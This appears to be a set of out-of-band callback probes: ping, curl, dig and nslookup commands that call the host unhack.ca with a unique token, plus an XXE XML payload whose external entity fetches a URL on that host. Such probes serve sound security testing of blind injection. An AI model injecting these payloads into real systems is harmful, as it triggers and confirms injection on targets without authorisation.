$ ping -c1 -p 001fa7fbeeb870f7063cc3d213642c00 unhack.ca
 

$ curl http://unhack.ca/p/1fa7fbeeb870f7063cc3d213642c
 

$ dig 1fa7fbeeb870f7063cc3d213642c @unhack.ca
 

$ dig 1fa7fbeeb870f7063cc3d213642c.ns.unhack.ca
 

C:\> nslookup 1fa7fbeeb870f7063cc3d213642c unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1fa7fbeeb870f7063cc3d213642c">]>
    <foo>&xxe;</foo>